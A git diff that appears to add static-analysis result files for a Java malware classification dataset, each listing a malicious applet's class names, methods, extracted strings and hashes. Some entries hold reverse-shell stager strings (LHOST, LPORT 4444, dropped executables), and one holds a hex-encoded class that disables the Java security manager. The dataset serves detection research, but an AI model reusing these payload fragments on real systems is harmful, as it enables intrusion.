new file mode 100755
index 0000000..991634d
--- /dev/null
+++ b/java_classification/data/malicious/cb8dba30c664f2a74a09561f6cb44762ee79366cb3a163a879ca5ab4a2086960.results
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diff --git a/java_classification/data/malicious/cbd91f961a62c3a330d5591dca28914f285451a38641a891d06132534dfe7956.results b/java_classification/data/malicious/cbd91f961a62c3a330d5591dca28914f285451a38641a891d06132534dfe7956.results
new file mode 100755
index 0000000..9f9958b
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+++ b/java_classification/data/malicious/cbd91f961a62c3a330d5591dca28914f285451a38641a891d06132534dfe7956.results
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diff --git a/java_classification/data/malicious/cc46a7873a74c3bd227f12acd59913be3dc67239abed17916f09621f0bc35d15.results b/java_classification/data/malicious/cc46a7873a74c3bd227f12acd59913be3dc67239abed17916f09621f0bc35d15.results
new file mode 100755
index 0000000..22ac03c
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+++ b/java_classification/data/malicious/cc46a7873a74c3bd227f12acd59913be3dc67239abed17916f09621f0bc35d15.results
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diff --git a/java_classification/data/malicious/cdb29cddc5f64e3c3948e21b88d2ed3a0244460fb1d4080eb1b79d1b406ba8e9.results b/java_classification/data/malicious/cdb29cddc5f64e3c3948e21b88d2ed3a0244460fb1d4080eb1b79d1b406ba8e9.results
new file mode 100755
index 0000000..73c3c1f
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+++ b/java_classification/data/malicious/cdb29cddc5f64e3c3948e21b88d2ed3a0244460fb1d4080eb1b79d1b406ba8e9.results
@@ -0,0 +1 @@
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diff --git a/java_classification/data/malicious/ce7abb4fe7848b19e9754fdf560d6c59a5ea79c86ae569c99e5beea3c04ef33f.results b/java_classification/data/malicious/ce7abb4fe7848b19e9754fdf560d6c59a5ea79c86ae569c99e5beea3c04ef33f.results
new file mode 100755
index 0000000..bd26622
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+++ b/java_classification/data/malicious/ce7abb4fe7848b19e9754fdf560d6c59a5ea79c86ae569c99e5beea3c04ef33f.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "enudwwlhl/vjjlwwcayuj", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["<init>", "ulabp"], "minor_version": 0, "const_pool_count": 61}}, "_id": "ea577553-385c-47f5-9eaf-ee9f67f12e07", "verbose": {"java": {"constant strings": ["\\x0e\\x13\\x07", "EfK?^2Fb@0\\x1f#Kf\\x1fe[a_;\\x18m@/C=O \\x1b?N`]c", "X\\x15U\\x0e\\x10G\\x0e\\x1e\\x0c\\r\\x11\\x15\\x04\\x1a\\x0b\\x17\\x0e"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "a9fab5480c46f06bc099f2e3fd137806c7643e17", "file_name": "java_malicious/ce7abb4fe7848b19e9754fdf560d6c59a5ea79c86ae569c99e5beea3c04ef33f", "_id": "ea577553-385c-47f5-9eaf-ee9f67f12e07", "score": 0, "entropy": 5.51174976855988, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 982, "ssdeep": "24:aVPtNryQDZH2Vfb8pO5lIlhBPpeqWv4Lv6e83n4sf2:aRt5yoG8s5lIe/4GemZu", "sha256": "ce7abb4fe7848b19e9754fdf560d6c59a5ea79c86ae569c99e5beea3c04ef33f", "md5": "2d28b7d027d9d92ab44c8604949a1694", "parent_sha256": "ce7abb4fe7848b19e9754fdf560d6c59a5ea79c86ae569c99e5beea3c04ef33f"}}
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diff --git a/java_classification/data/malicious/ce970cfab032d84e38a78a01439977c1555d70e3372ede01502a397946cd1ded.results b/java_classification/data/malicious/ce970cfab032d84e38a78a01439977c1555d70e3372ede01502a397946cd1ded.results
new file mode 100755
index 0000000..a904aaa
--- /dev/null
+++ b/java_classification/data/malicious/ce970cfab032d84e38a78a01439977c1555d70e3372ede01502a397946cd1ded.results
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/java_classification/data/malicious/ceb19a5f3a94cd6ebcd7e4bb2be93e75644b280581a0b014465d433686da0a2e.results b/java_classification/data/malicious/ceb19a5f3a94cd6ebcd7e4bb2be93e75644b280581a0b014465d433686da0a2e.results
new file mode 100755
index 0000000..8bcdd12
--- /dev/null
+++ b/java_classification/data/malicious/ceb19a5f3a94cd6ebcd7e4bb2be93e75644b280581a0b014465d433686da0a2e.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "Suu", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["<init>", "Alla", "Pimmer", "Zimmi", "Siil"], "minor_version": 0, "const_pool_count": 124}}, "_id": "dc16234f-694f-471f-9998-1869025445f4", "verbose": {"java": {"constant strings": ["write", "jav", "a.i", "o.tmpdir", "c", "lo", "se"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "5f61272c5dd2de34df97ee23b4cb88feb3651ddd", "file_name": "java_malicious/ceb19a5f3a94cd6ebcd7e4bb2be93e75644b280581a0b014465d433686da0a2e", "_id": "dc16234f-694f-471f-9998-1869025445f4", "score": 0, "entropy": 5.558313351897247, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 1802, "ssdeep": "48:wkHyvgCR+N+M6uGUEgT52nOtQa95vfbh4o4:6Z1urEy5vzao4", "sha256": "ceb19a5f3a94cd6ebcd7e4bb2be93e75644b280581a0b014465d433686da0a2e", "md5": "80e054d95ffa148cd81202931800095d", "parent_sha256": "ceb19a5f3a94cd6ebcd7e4bb2be93e75644b280581a0b014465d433686da0a2e"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/cf69d50fea1a1ca77e291bd74bf6c0ec4fe2864a1fb507b15d7e8d7c4b9da288.results b/java_classification/data/malicious/cf69d50fea1a1ca77e291bd74bf6c0ec4fe2864a1fb507b15d7e8d7c4b9da288.results
new file mode 100755
index 0000000..bd9810a
--- /dev/null
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diff --git a/java_classification/data/malicious/cfbd1f41d22bf931ef556b23afd12629a3856e9f62150b9f4db8f7dce95f1d6d.results b/java_classification/data/malicious/cfbd1f41d22bf931ef556b23afd12629a3856e9f62150b9f4db8f7dce95f1d6d.results
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index 0000000..8e5a5c7
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diff --git a/java_classification/data/malicious/d008134701d6bafdeceded1a0c9d270435484e1429a59150ac59e9d1a84a2e06.results b/java_classification/data/malicious/d008134701d6bafdeceded1a0c9d270435484e1429a59150ac59e9d1a84a2e06.results
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diff --git a/java_classification/data/malicious/d065da39c6117839e42aefabde0e5a4cc0f48761f6aff43a29317e1a90f6b825.results b/java_classification/data/malicious/d065da39c6117839e42aefabde0e5a4cc0f48761f6aff43a29317e1a90f6b825.results
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diff --git a/java_classification/data/malicious/d0e3be4f344d7c0ef63eaeb3e405fadb314ccc768448d62e90647c2a734a5ca6.results b/java_classification/data/malicious/d0e3be4f344d7c0ef63eaeb3e405fadb314ccc768448d62e90647c2a734a5ca6.results
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diff --git a/java_classification/data/malicious/d121b7a4eb22753cdd04f9a4a49ce9ccd6bec57e8efe72fcf320f7685416caf2.results b/java_classification/data/malicious/d121b7a4eb22753cdd04f9a4a49ce9ccd6bec57e8efe72fcf320f7685416caf2.results
new file mode 100755
index 0000000..b9029cb
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diff --git a/java_classification/data/malicious/d2577943b1e73b73de33cca5cee470311e0cae5b992e1292c4c38c2e07235ba2.results b/java_classification/data/malicious/d2577943b1e73b73de33cca5cee470311e0cae5b992e1292c4c38c2e07235ba2.results
new file mode 100755
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diff --git a/java_classification/data/malicious/d282b44baab652e1d3d2a0ec69e95ade0f5659b69a149bb6f7efdab099d593d1.results b/java_classification/data/malicious/d282b44baab652e1d3d2a0ec69e95ade0f5659b69a149bb6f7efdab099d593d1.results
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\ No newline at end of file
diff --git a/java_classification/data/malicious/d2dc29ac99a62a98cf284fda0c579e97fb3dc86febac6565323bf8cb9af0eb80.results b/java_classification/data/malicious/d2dc29ac99a62a98cf284fda0c579e97fb3dc86febac6565323bf8cb9af0eb80.results
new file mode 100755
index 0000000..564260c
--- /dev/null
+++ b/java_classification/data/malicious/d2dc29ac99a62a98cf284fda0c579e97fb3dc86febac6565323bf8cb9af0eb80.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "Lib", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["<init>", "init", "DOao", "Lvir", "<clinit>"], "minor_version": 0, "const_pool_count": 201}}, "_id": "d6aacccb-c955-41aa-a332-55bcb9e6e804", "verbose": {"java": {"constant strings": ["param", "java.version", "_", "1.7.0_", "1.6.0_", "os.arch", "", "64"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "e2d8c4811e5c5147f165d94016ee3e709b6ce4b0", "file_name": "java_malicious/d2dc29ac99a62a98cf284fda0c579e97fb3dc86febac6565323bf8cb9af0eb80", "_id": "d6aacccb-c955-41aa-a332-55bcb9e6e804", "score": 0, "entropy": 5.8960796625208385, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 3231, "ssdeep": "48:go5k1udTke8ETXyK65WdUiLi8cpBPy/OX1CDrbJ0qBeJXtuyUtmwPl:gYk1uBOKgWdanyIG0qBeLOd", "sha256": "d2dc29ac99a62a98cf284fda0c579e97fb3dc86febac6565323bf8cb9af0eb80", "md5": "1254ce25d6bdbb29f1666e078e003c02", "parent_sha256": "d2dc29ac99a62a98cf284fda0c579e97fb3dc86febac6565323bf8cb9af0eb80"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/d32f7529706f3183e50628770b6e695e1f97e05710c3eca764f4b327b3898ca9.results b/java_classification/data/malicious/d32f7529706f3183e50628770b6e695e1f97e05710c3eca764f4b327b3898ca9.results
new file mode 100755
index 0000000..3423535
--- /dev/null
+++ b/java_classification/data/malicious/d32f7529706f3183e50628770b6e695e1f97e05710c3eca764f4b327b3898ca9.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "XML20130422.java", "class_name": "xml20130422/XML20130422", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 50, "method_names": ["<clinit>", "<init>", "hex2Byte", "init"], "minor_version": 0, "const_pool_count": 223}}, "_id": "cfa8a517-b7f5-404a-858f-4687646b2e4b", "verbose": {"java": {"constant strings": ["CAFEBABE0000003200270A000500180A0019001A07001B0A001C001D07001E07001F0700200100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C65010001650100154C6A6176612F6C616E672F457863657074696F6E3B010004746869730100034C423B01000D537461636B4D61705461626C6507001F07001B01000372756E01001428294C6A6176612F6C616E672F4F626A6563743B01000A536F7572636546696C65010006422E6A6176610C000800090700210C002200230100136A6176612F6C616E672F457863657074696F6E0700240C002500260100106A6176612F6C616E672F4F626A656374010001420100276A6176612F73656375726974792F50726976696C65676564457863657074696F6E416374696F6E01001E6A6176612F73656375726974792F416363657373436F6E74726F6C6C657201000C646F50726976696C6567656401003D284C6A6176612F73656375726974792F50726976696C65676564457863657074696F6E416374696F6E3B294C6A6176612F6C616E672F4F626A6563743B0100106A6176612F6C616E672F53797374656D01001273657453656375726974794D616E6167657201001E284C6A6176612F6C616E672F53656375726974794D616E616765723B295600210006000500010007000000020001000800090001000A0000006C000100020000000E2AB700012AB8000257A700044CB1000100040009000C00030003000B000000120004000000080004000B0009000C000D000D000C000000160002000D0000000D000E00010000000E000F001000000011000000100002FF000C00010700120001070013000001001400150001000A0000003A000200010000000C01B80004BB000559B70001B000000002000B0000000A00020000001000040011000C0000000C00010000000C000F0010000000010016000000020017", "XML", "XGiMsak3INDkVXg8", "", "sun.org.mozilla.javascript.internal.Context", "sun.org.mozilla.javascript.internal.GeneratedClassLoader", "findConstructor", "1", "findVirtual", "createClassLoader", "defineClass", "bn", "xiaomaolv", "si", "bs", "os.name", "Windows"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "87f00e7edc2cfd654a6023627011d9febb95ff08", "file_name": "java_malicious/d32f7529706f3183e50628770b6e695e1f97e05710c3eca764f4b327b3898ca9", "_id": "cfa8a517-b7f5-404a-858f-4687646b2e4b", "score": 0, "entropy": 5.897283821024144, "libmagic": "compiled Java class data, version 50.0 (Java 1.6)", "file_size": 6134, "ssdeep": "96:Qu+CWKsRhIZiNqzyIZYSjFAl8J3GdiojNoNzOZJSlZyNu7rFDsyT2fevsnHGHGH2:aCZoIUDImQAl8B0iojNoNzYJSlZyNuFZ", "sha256": "d32f7529706f3183e50628770b6e695e1f97e05710c3eca764f4b327b3898ca9", "md5": "e56acb49730d99b1b22b33a293c476d9", "parent_sha256": "d32f7529706f3183e50628770b6e695e1f97e05710c3eca764f4b327b3898ca9"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/d357b56994ec049fcfb9ecbd4951dbc16bcae4e6c86752af2671c2534bfd0616.results b/java_classification/data/malicious/d357b56994ec049fcfb9ecbd4951dbc16bcae4e6c86752af2671c2534bfd0616.results
new file mode 100755
index 0000000..4624048
--- /dev/null
+++ b/java_classification/data/malicious/d357b56994ec049fcfb9ecbd4951dbc16bcae4e6c86752af2671c2534bfd0616.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "wYCtvsZJBW/jdwtOOE", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", "<clinit>"], "minor_version": 3, "const_pool_count": 605}}, "_id": "ec10520f-cded-4fe7-b2f2-a6937197296f", "verbose": {"java": {"constant strings": ["wYCtvsZJBW.jdwtOOE", ".class", "/wYCtvsZJBW.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "wYCtvsZJBW.dat", "URL", "", "https:", "wYCtvsZJBW/jdwtOOETrustManager.class", "jdwtOOETrustManager.class", "AESPassword", "wYCtvsZJBW/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "wYCtvsZJBW.jdwtOOETrustManager", "useFor", "java.net.URLConnection", "wYCtvsZJBW.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "jdwtOOE -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javapayload.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "520d0c651f949daee92545b86289961effae0198", "file_name": "java_malicious/d357b56994ec049fcfb9ecbd4951dbc16bcae4e6c86752af2671c2534bfd0616", "_id": "ec10520f-cded-4fe7-b2f2-a6937197296f", "score": 0, "entropy": 6.145212122808507, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tMLDUBL+WBRThm4/ZxKIJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrDF:gmO1tVLDtm4ByNvpvUrKYvCkgHzbDrDF", "sha256": "d357b56994ec049fcfb9ecbd4951dbc16bcae4e6c86752af2671c2534bfd0616", "md5": "c097ed7b132d9d214272439da4831c05", "parent_sha256": "d357b56994ec049fcfb9ecbd4951dbc16bcae4e6c86752af2671c2534bfd0616"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/d35bade09b57be2eb5248777804b2fd40c782266d5a807eef1bf59921d758ab9.results b/java_classification/data/malicious/d35bade09b57be2eb5248777804b2fd40c782266d5a807eef1bf59921d758ab9.results
new file mode 100755
index 0000000..248d7f2
--- /dev/null
+++ b/java_classification/data/malicious/d35bade09b57be2eb5248777804b2fd40c782266d5a807eef1bf59921d758ab9.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"sourcefile": "Main.java", "class_name": "Main", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 48, "method_names": ["<init>", "init"], "minor_version": 0, "const_pool_count": 97}}, "_id": "c1336af1-9f9d-4ba7-a9b2-9aad74ac07ce", "verbose": {"java": {"constant strings": ["Y0000000000000000I1ZjA,XP,0A,0A,kA,AQ,2A,B2,BB,0B,BA,BX,P8,AB,uJ,IN,pN,pN,pz,0L,Pn,pN,pl,Pm,9K,K5,PU,PS,0Q,OQ,to,QD,pG,pc,0E,Pn,kC,pt,LN,kb,Pu,LL,ml,K3,XU,pM,Ps,Md,L0,33,Dd,CN,vh,kX,sN,kq,xV,hl,KX,wP,jw,ta,IX,hl,OE,PW,pW,pk,RL,9q,xr,Op,nU,Pw,p0,hR,Up,rR,L2,MF,4k,O6,vL,KK,XM,8Q,i3,03,0U,PL,KH,WQ,Wk,0u,oU,Pt,5x,zs,wR,w2,gO,pg,O5,Pp,uj,Zn,kJ,Oq,Oe,cz,ik,1x,lU,T7,qW,pS,0N,k9,Lp,Qb,ra,CC,XW,tC,1c,0u,Pk,Ob,vd,Ls,jv,9v,1r,rL,Ke,Rr,sP,CO,pu,kU,PB,Uk,JK,13,Ky,lt,np,ea,ha,uQ,eD,CO,sZ,Kt,HL,Id,CY,WQ,SV,dF,NC,U4,8q,ui,V0,CV,hU,PS,ko,z9,QS,4T,pO,xS,u7,pu,cY,P2,pP,PS,cV,7B,pI,oS,fr,0N,cK,H7,pR,Uu,Vr,JV,aP,Sk,OP,VW,tQ,J0,YO,si,Rw,t3,qM,PT,zU,Pc,Ex,4k,OV,6W,xp,Qs,fL,Kq,e7,Ln,kD,4D,us,Hg,sL,56,6N,kb,VW,Ps,3k,EV,Sy,YW,9g,1N,M7,sO,5t,sk,kf,oM,nF,p4,xx,rp,t4,Hy,QH,K4,Mg,sZ,z3,pH,k8,qW,Kw,oP,um,7a,NL,Ka,Ne,tu,Si,Mq,vl,Kt,Lr,kl,K3,nU,Lg,sk,ml,Kd,Dn,kS,3O,5N,KQ,NP,YK,sX,hg,pK,Oy,oI,oN,np,N6,nJ,LO,hi,nN,jv,nC,Nj,xY,rS,CP,3Z,jL,Jq,Kf,V7,j4,oR,P2,XD,9b,vp,rb,uc,Zg,65,2g,pP,hP,t4,4b,Pw,Jd,o6,OQ,gR,E1,tb,Op,kc,Q6,Ns,YP,nQ,v0,of,Op,pC,Qe,7e,5D,oa,w2,Or,LC,TV,Nb,Pr,HP,p6,OR,Nd,p4,pu,be,aV,PT,v4,r6,Pt,qw,CV,PV,T4,2t,pg,Dp,0p,9r,jU,av,RT,pV,PV,Pv,Vf,PT,qB,rq,uV,QU,ge,3E,5v,Sq,vP,7s,gv,Yr,Fe,6T,wW,B6,WQ,st,xS,hg,CP,0T,re,3E,6p,0d,v6,Sp,YE,gq,sD,qT,xf,T3,QU,2u,aS,jv,PP,10,0t,pP,f4,pU,gF,Pu,P5,PA,", "41,25,25,25,25", ",", "", "00000000", "IIIIIIII", "71Z", "7QZ", "I1Z", "IQZ", "A"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "a503ed361f016dfd23ec96082277f557a3c9205a", "file_name": "java_malicious/d35bade09b57be2eb5248777804b2fd40c782266d5a807eef1bf59921d758ab9", "_id": "c1336af1-9f9d-4ba7-a9b2-9aad74ac07ce", "score": 0, "entropy": 6.133219069849992, "libmagic": "compiled Java class data, version 48.0 (Java 1.4)", "file_size": 3297, "ssdeep": "96:6FlnOP6hP/pxHh4Wt93Q+EiTNNkez/j83Ifh:QlO8P/3Hhptb37nr83Ip", "sha256": "d35bade09b57be2eb5248777804b2fd40c782266d5a807eef1bf59921d758ab9", "md5": "8fb3838af31440e124d502256f64967f", "parent_sha256": "d35bade09b57be2eb5248777804b2fd40c782266d5a807eef1bf59921d758ab9"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/d3f489e5a81f3611fb6e263c5af6d7a4abb8c51e595ca2e7104d9630341a6633.results b/java_classification/data/malicious/d3f489e5a81f3611fb6e263c5af6d7a4abb8c51e595ca2e7104d9630341a6633.results
new file mode 100755
index 0000000..4c0de26
--- /dev/null
+++ b/java_classification/data/malicious/d3f489e5a81f3611fb6e263c5af6d7a4abb8c51e595ca2e7104d9630341a6633.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "FS", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 46, "method_names": ["<init>", "Lj", "Lj", "Lj", "Lja", "Lja", "ja", "ja", "I", "I", "L", "L", "dd", "dd", "dd", "gft"], "minor_version": 0, "const_pool_count": 120}}, "_id": "357e905b-76da-4401-ba66-f7caa751fcf2", "verbose": {"java": {"constant strings": [""]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "439e2410f74041bf04ddd0a85004130b8ac336c1", "file_name": "java_malicious/d3f489e5a81f3611fb6e263c5af6d7a4abb8c51e595ca2e7104d9630341a6633", "_id": "357e905b-76da-4401-ba66-f7caa751fcf2", "score": 0, "entropy": 5.187340256072548, "libmagic": "compiled Java class data, version 46.0 (Java 1.2)", "file_size": 2719, "ssdeep": "48:O0LTyDs+F5fIVaW8J8F+iE8xnzHFyQ7kfDkJiu3:LL+DZIVaWrF+IlzHJiu3", "sha256": "d3f489e5a81f3611fb6e263c5af6d7a4abb8c51e595ca2e7104d9630341a6633", "md5": "1aab76767f76396b97e7363da714f39f", "parent_sha256": "d3f489e5a81f3611fb6e263c5af6d7a4abb8c51e595ca2e7104d9630341a6633"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/d436b6513e38591015983e23e73b70562073bb2ae0fc33b3df1cc8b739e6e807.results b/java_classification/data/malicious/d436b6513e38591015983e23e73b70562073bb2ae0fc33b3df1cc8b739e6e807.results
new file mode 100755
index 0000000..154ba24
--- /dev/null
+++ b/java_classification/data/malicious/d436b6513e38591015983e23e73b70562073bb2ae0fc33b3df1cc8b739e6e807.results
@@ -0,0 +1 @@
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diff --git a/java_classification/data/malicious/d490392291b16751a95c496b40ebad5e3f2d669d61cadee94255d29df7918d97.results b/java_classification/data/malicious/d490392291b16751a95c496b40ebad5e3f2d669d61cadee94255d29df7918d97.results
new file mode 100755
index 0000000..da67fb3
--- /dev/null
+++ b/java_classification/data/malicious/d490392291b16751a95c496b40ebad5e3f2d669d61cadee94255d29df7918d97.results
@@ -0,0 +1 @@
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diff --git a/java_classification/data/malicious/d6853ef8e589644b3ddfbf6eccbb51fab5838d7916ff90875924ac2533503218.results b/java_classification/data/malicious/d6853ef8e589644b3ddfbf6eccbb51fab5838d7916ff90875924ac2533503218.results
new file mode 100755
index 0000000..35e54a8
--- /dev/null
+++ b/java_classification/data/malicious/d6853ef8e589644b3ddfbf6eccbb51fab5838d7916ff90875924ac2533503218.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "a/gimgoszlgz", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["<init>", "gnjqsmgay", "<clinit>"], "minor_version": 0, "const_pool_count": 409}}, "_id": "d8cd84ad-9d33-4018-8856-7edbde5a0937", "metadata": {"mimetype": "application/x-java-applet", "sha1": "8b42e8678192dd99affd83569f87a45f0f2edbe5", "file_name": "java_malicious/d6853ef8e589644b3ddfbf6eccbb51fab5838d7916ff90875924ac2533503218", "_id": "d8cd84ad-9d33-4018-8856-7edbde5a0937", "score": 0, "entropy": 5.200611487054502, "libmagic": "compiled Java class data, version 49.0 (Java 1.5)", "file_size": 6408, "ssdeep": "96:O/nYOCHZ5ESjJe5zZGR3RzgqpRBNNCpxNCnz4GumFUDfPy55ooDy4IYwa5oYp55V:OgJ5tJaMRRgC8EEmFCy55UTYwa5hGhYr", "sha256": "d6853ef8e589644b3ddfbf6eccbb51fab5838d7916ff90875924ac2533503218", "md5": "b2175d28308d195d91f74a1eb3c29eb4", "parent_sha256": "d6853ef8e589644b3ddfbf6eccbb51fab5838d7916ff90875924ac2533503218"}}
\ No newline at end of file
diff --git a/java_classification/data/malicious/d8d25b1773dfb5c657a7cc6d925484a3fbd7075338c6fb13540ab3fd32d96d11.results b/java_classification/data/malicious/d8d25b1773dfb5c657a7cc6d925484a3fbd7075338c6fb13540ab3fd32d96d11.results
new file mode 100755
index 0000000..8b9adb6
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+++ b/java_classification/data/malicious/d8d25b1773dfb5c657a7cc6d925484a3fbd7075338c6fb13540ab3fd32d96d11.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "a/pdhufrvekjrp", "access_permissions": ["ACC_SUPER"], "major_version": 49, "method_names": ["arxipzhyawmhqsb", "ugcjegsbfucrkczrpk", "oxdrwmhofgmeaxhk", "njeyxzwzelveiowdoi", "mslljhijgxyxafqziwm", "jrdfpcbsbomtugu", "<init>", "pzkzaow", "uwsamynlleaqufd", "puselunrilyrhiwjxz", "jtgwguezhqmjsxu", "qpyatldemvoyhknhls", "vwqazjilnciwddcpf", "mrahizhphsvrdxz", "xirdexidnsmyljw", "iodutjyjmqvualzbzv", "vdtjzkrrusvwjqdqq", "fjobtmcxdgsupvlp", "yumlimnu", "xwnechyujsujybyzwu", "gkxmwkdumqztgkhjefz", "wzcabxkqbpaiuuowzzw", "jpxlhhygythfkhqboma", "guzkdxknlldyjstk", "hczchnfkznqcfzy", "qfeymenlhdenrsoa", "plhigxrqozkbypv", "iyqlmkatoxiuhpv", "lyjcwtukdsdawxuihm", "simbdorwiyqelbn", "kbnkoszzmvrldqsgyrw", "phofianuewhidqokhkj", "epjqyxnonnenhaihce", "uijzyharethunvux", "kxsifdkbksegjbkkz", "wclyqnzrqqghemwhyu", "havpjhcyldvssave", "hjbjmccdbxqyiri"], "minor_version": 0, "const_pool_count": 990}}, "_id": "3243aa4b-fd11-4d01-8467-4697e60fccd5", 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diff --git a/java_classification/data/malicious/d92e94917d1103d91cbbaa679483e7c66a05e16e5ccbc496d1cb81935050de61.results b/java_classification/data/malicious/d92e94917d1103d91cbbaa679483e7c66a05e16e5ccbc496d1cb81935050de61.results
new file mode 100755
index 0000000..95d8529
--- /dev/null
+++ b/java_classification/data/malicious/d92e94917d1103d91cbbaa679483e7c66a05e16e5ccbc496d1cb81935050de61.results
@@ -0,0 +1 @@
+{"characteristics": {"java": {"class_name": "WeoKiIswUc/Payload", "access_permissions": ["ACC_PUBLIC", "ACC_SUPER"], "major_version": 45, "method_names": ["<init>", "main", "writeEmbeddedFile", "bootstrap", "getJreExecutable", "addExtension", "findInDir", "normalize", "dissect", "class$", "<clinit>"], "minor_version": 3, "const_pool_count": 605}}, "_id": "a81f3584-dfcc-41b6-94d7-c0ef0814b2b9", "verbose": {"java": {"constant strings": ["WeoKiIswUc.Payload", ".class", "/WeoKiIswUc.dat", "Executable", "~spawn", ".tmp", ".dir", "DroppedExecutable", "Spawn", "0", "WeoKiIswUc.dat", "URL", "", "https:", "WeoKiIswUc/PayloadTrustManager.class", "PayloadTrustManager.class", "AESPassword", "WeoKiIswUc/AESEncryption.class", "AESEncryption.class", "java", "-classpath", "java.io.File", "setExecutable", "chmod", "+x", "LPORT", "4444", "LHOST", "raw:", "ISO-8859-1", "WeoKiIswUc.PayloadTrustManager", "useFor", "java.net.URLConnection", "WeoKiIswUc.AESEncryption", "wrapStreams", "java.io.InputStream", "java.io.OutputStream", "java.lang.String", "Payload -- ", "StageParameters", " ", "EmbeddedStage", "/", "file:///", "javaPapqDus.stage.", "start", "java.io.DataInputStream", "[Ljava.lang.String;", "/sh", "/bin", ".exe", ".", "..", "os.name", "path.separator", "aix", ";", "java.home"]}}, "metadata": {"mimetype": "application/x-java-applet", "sha1": "be2dbfe50d59317b889800ad26723972b4f65936", "file_name": "java_malicious/d92e94917d1103d91cbbaa679483e7c66a05e16e5ccbc496d1cb81935050de61", "_id": "a81f3584-dfcc-41b6-94d7-c0ef0814b2b9", "score": 0, "entropy": 6.137841505759754, "libmagic": "compiled Java class data, version 45.3", "file_size": 9415, "ssdeep": "96:gbaBzgFN1tM2DUBJ+WwXThmQix4IJUNuIpvqPBX15KYvXkr9DmgHzxE03TvDrD7x:gmO1teJKtm3YNvpvUrKYvCkgHzbDrDF", "sha256": "d92e94917d1103d91cbbaa679483e7c66a05e16e5ccbc496d1cb81935050de61", "md5": "31b5d96b8a93e3f19e9c42bbeb7dc63f", "parent_sha256": "d92e94917d1103d91cbbaa679483e7c66a05e16e5ccbc496d1cb81935050de61"}}
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diff --git a/java_classification/data/malicious/d92ed5389a89184226c599a14b9931f645d3b4c01deee7ade1547a3c0d9ed522.results b/java_classification/data/malicious/d92ed5389a89184226c599a14b9931f645d3b4c01deee7ade1547a3c0d9ed522.results
new file mode 100755
index 0000000..764c1c2
--- /dev/null
+++ b/java_classification/data/malicious/d92ed5389a89184226c599a14b9931f645d3b4c01deee7ade1547a3c0d9ed522.results
@@ -0,0 +1 @@
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\ No newline at end of file
diff --git a/java_classification/data/malicious/d9d9235fe46e24d53320c7ef588c39a314f0f03456458c9c98becbbbeab4713c.results b/java_classification/data/malicious/d9d9235fe46e24d53320c7ef588c39a314f0f03456458c9c98becbbbeab4713c.results
new file mode 100755
index 0000000..3092a8e
--- /dev/null
+++ b/java_classification/data/malicious/d9d9235fe46e24d53320c7ef588c39a314f0f03456458c9c98becbbbeab4713c.results
@@ -0,0 +1 @@
